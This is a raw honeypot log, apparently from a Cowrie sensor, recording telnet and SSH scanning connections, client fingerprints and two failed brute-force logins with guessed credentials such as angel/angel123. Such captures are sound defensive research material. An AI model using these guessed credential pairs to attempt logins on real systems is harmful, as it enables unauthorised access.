{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57980,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b59e9a8e5a5","protocol":"telnet","message":"New connection: 23.254.167.244:57980 (159.203.135.109:23) [session: 2b59e9a8e5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:28.215180Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48422,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a2c1dc99333","protocol":"telnet","message":"New connection: 209.159.146.115:48422 (159.203.135.109:23) [session: 1a2c1dc99333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:28.820989Z"}
{"eventid":"cowrie.session.closed","duration":31.349924564361572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:29.706749Z","src_ip":"209.159.146.115","session":"0917214ea181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44622,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbc284ed7559","protocol":"ssh","message":"New connection: 159.203.92.129:44622 (159.203.135.109:22) [session: cbc284ed7559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:30.169054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:30.183001Z","src_ip":"159.203.92.129","session":"cbc284ed7559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:30.187984Z","src_ip":"159.203.92.129","session":"cbc284ed7559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel123","message":"login attempt [angel/angel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:30.204091Z","src_ip":"159.203.92.129","session":"cbc284ed7559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57880,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bdfaf48042","protocol":"telnet","message":"New connection: 209.159.146.115:57880 (159.203.135.109:23) [session: 09bdfaf48042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:30.979350Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:31.212609Z","src_ip":"159.203.92.129","session":"cbc284ed7559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33648,"dst_ip":"159.203.135.109","dst_port":23,"session":"93da609c98dd","protocol":"telnet","message":"New connection: 23.254.167.244:33648 (159.203.135.109:23) [session: 93da609c98dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:31.499908Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34012,"dst_ip":"159.203.135.109","dst_port":23,"session":"07b4a7816055","protocol":"telnet","message":"New connection: 23.254.167.244:34012 (159.203.135.109:23) [session: 07b4a7816055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:31.770278Z"}
{"eventid":"cowrie.session.closed","duration":37.51341986656189,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:32.162294Z","src_ip":"209.159.146.115","session":"20f98e02ee26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41708207130432,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:33.113922Z","src_ip":"23.254.167.244","session":"115ac59e2b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f9b8e44165a","protocol":"telnet","message":"New connection: 23.254.167.244:36464 (159.203.135.109:23) [session: 9f9b8e44165a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:35.220243Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55168,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c1ba0fa20b","protocol":"telnet","message":"New connection: 209.159.146.115:55168 (159.203.135.109:23) [session: 17c1ba0fa20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:36.771990Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58442,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc5fe41f9b4f","protocol":"telnet","message":"New connection: 209.159.146.115:58442 (159.203.135.109:23) [session: cc5fe41f9b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:37.105956Z"}
{"eventid":"cowrie.session.closed","duration":33.01403474807739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:40.054935Z","src_ip":"23.254.167.244","session":"5c7da6d5e722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31581902503967,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:40.460568Z","src_ip":"209.159.146.115","session":"682a7ef99d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71537709236145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:40.726944Z","src_ip":"209.159.146.115","session":"33411283fe83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46934,"dst_ip":"159.203.135.109","dst_port":23,"session":"46347eedcb74","protocol":"telnet","message":"New connection: 23.254.167.244:46934 (159.203.135.109:23) [session: 46347eedcb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:42.659592Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4187a438baf","protocol":"telnet","message":"New connection: 209.159.146.115:33946 (159.203.135.109:23) [session: a4187a438baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:43.729632Z"}
{"eventid":"cowrie.session.closed","duration":33.146368980407715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:44.992966Z","src_ip":"209.159.146.115","session":"8e02d9afcad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40f9fe16892","protocol":"telnet","message":"New connection: 209.159.146.115:42256 (159.203.135.109:23) [session: d40f9fe16892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:46.211880Z"}
{"eventid":"cowrie.session.closed","duration":35.54146718978882,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:46.329624Z","src_ip":"23.254.167.244","session":"6d1cb9513029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42606,"dst_ip":"159.203.135.109","dst_port":23,"session":"f672acfc221b","protocol":"telnet","message":"New connection: 209.159.146.115:42606 (159.203.135.109:23) [session: f672acfc221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:46.334975Z"}
{"eventid":"cowrie.session.closed","duration":36.865984201431274,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:46.844686Z","src_ip":"209.159.146.115","session":"739bb3c291c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53910,"dst_ip":"159.203.135.109","dst_port":23,"session":"cacaf5eb7259","protocol":"telnet","message":"New connection: 23.254.167.244:53910 (159.203.135.109:23) [session: cacaf5eb7259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:47.620661Z"}
{"eventid":"cowrie.session.closed","duration":34.797333002090454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:48.269450Z","src_ip":"23.254.167.244","session":"e79a974f9a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57080,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a26f234b01f","protocol":"telnet","message":"New connection: 23.254.167.244:57080 (159.203.135.109:23) [session: 9a26f234b01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:49.263592Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37382,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe2e0b6d2ff","protocol":"telnet","message":"New connection: 209.159.146.115:37382 (159.203.135.109:23) [session: 2fe2e0b6d2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:51.104510Z"}
{"eventid":"cowrie.session.closed","duration":33.288907527923584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:51.159534Z","src_ip":"209.159.146.115","session":"d1a5aca0d447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":53162,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2040076a24","protocol":"ssh","message":"New connection: 157.66.34.121:53162 (159.203.135.109:22) [session: 4a2040076a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:51.733703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:51.738169Z","src_ip":"157.66.34.121","session":"4a2040076a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:51.968396Z","src_ip":"157.66.34.121","session":"4a2040076a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:52.922276Z","src_ip":"157.66.34.121","session":"4a2040076a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96694898605347,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:53.813677Z","src_ip":"209.159.146.115","session":"36e7ea69caef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:54.155365Z","src_ip":"157.66.34.121","session":"4a2040076a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.710999488830566,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:54.956062Z","src_ip":"23.254.167.244","session":"075aafdc999a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05686855316162,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:55.794239Z","src_ip":"23.254.167.244","session":"c158bb0c4f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06096363067627,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:56.647003Z","src_ip":"209.159.146.115","session":"641b72c780bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35524,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e4df640669a","protocol":"telnet","message":"New connection: 209.159.146.115:35524 (159.203.135.109:23) [session: 9e4df640669a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:57.160084Z"}
{"eventid":"cowrie.session.closed","duration":33.537758111953735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:57.287043Z","src_ip":"209.159.146.115","session":"68e1e2ecf8b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.736807107925415,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:57.517722Z","src_ip":"209.159.146.115","session":"c4676f650fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41097593307495,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:57.603978Z","src_ip":"209.159.146.115","session":"b197996bd8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb4e47bf98c","protocol":"telnet","message":"New connection: 209.159.146.115:44268 (159.203.135.109:23) [session: bcb4e47bf98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:58.455137Z"}
{"eventid":"cowrie.session.closed","duration":35.880409955978394,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:59.169334Z","src_ip":"23.254.167.244","session":"45de20072f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50774359703064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:59.455489Z","src_ip":"209.159.146.115","session":"9329e14fa96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a381c67a88","protocol":"telnet","message":"New connection: 209.159.146.115:56264 (159.203.135.109:23) [session: c7a381c67a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:00.385248Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1b550f1eb9","protocol":"telnet","message":"New connection: 209.159.146.115:50156 (159.203.135.109:23) [session: ff1b550f1eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:00.477144Z"}
{"eventid":"cowrie.session.closed","duration":32.8071551322937,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:00.562266Z","src_ip":"209.159.146.115","session":"0fd047dd0cb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58425760269165,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:01.918858Z","src_ip":"209.159.146.115","session":"38dc9501493f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46191596984863,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:02.046727Z","src_ip":"209.159.146.115","session":"94b5e8920b00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3230926990509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:02.143993Z","src_ip":"209.159.146.115","session":"1a2c1dc99333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257965564727783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:02.237182Z","src_ip":"209.159.146.115","session":"09bdfaf48042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55659532546997,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:02.768218Z","src_ip":"23.254.167.244","session":"43b0af6359a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32213354110718,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:02.812743Z","src_ip":"23.254.167.244","session":"265dd78e57fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.680537939071655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:03.895620Z","src_ip":"23.254.167.244","session":"2b59e9a8e5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84254288673401,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:04.342327Z","src_ip":"23.254.167.244","session":"93da609c98dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27841806411743,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:07.048564Z","src_ip":"23.254.167.244","session":"07b4a7816055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94543433189392,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:09.051311Z","src_ip":"209.159.146.115","session":"cc5fe41f9b4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29126739501953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:09.511362Z","src_ip":"23.254.167.244","session":"9f9b8e44165a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86158466339111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:09.633451Z","src_ip":"209.159.146.115","session":"17c1ba0fa20b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48716,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f9eb231531f","protocol":"telnet","message":"New connection: 209.159.146.115:48716 (159.203.135.109:23) [session: 1f9eb231531f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:11.219573Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"f65006d7da8f","protocol":"telnet","message":"New connection: 23.254.167.244:57932 (159.203.135.109:23) [session: f65006d7da8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:11.289257Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58072,"dst_ip":"159.203.135.109","dst_port":23,"session":"d73c52680f69","protocol":"telnet","message":"New connection: 23.254.167.244:58072 (159.203.135.109:23) [session: d73c52680f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:12.334407Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54012,"dst_ip":"159.203.135.109","dst_port":23,"session":"d031f7fff712","protocol":"telnet","message":"New connection: 209.159.146.115:54012 (159.203.135.109:23) [session: d031f7fff712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:12.878897Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"80cf22b33264","protocol":"telnet","message":"New connection: 209.159.146.115:51104 (159.203.135.109:23) [session: 80cf22b33264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:12.973868Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36276,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4274f78e55","protocol":"telnet","message":"New connection: 209.159.146.115:36276 (159.203.135.109:23) [session: fa4274f78e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:14.707109Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35756,"dst_ip":"159.203.135.109","dst_port":23,"session":"2afe96a0ef2d","protocol":"telnet","message":"New connection: 23.254.167.244:35756 (159.203.135.109:23) [session: 2afe96a0ef2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:14.767537Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58042,"dst_ip":"159.203.135.109","dst_port":22,"session":"75636017a0f9","protocol":"ssh","message":"New connection: 159.203.92.129:58042 (159.203.135.109:22) [session: 75636017a0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:14.985612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:14.990625Z","src_ip":"159.203.92.129","session":"75636017a0f9","protocol":"ssh"}
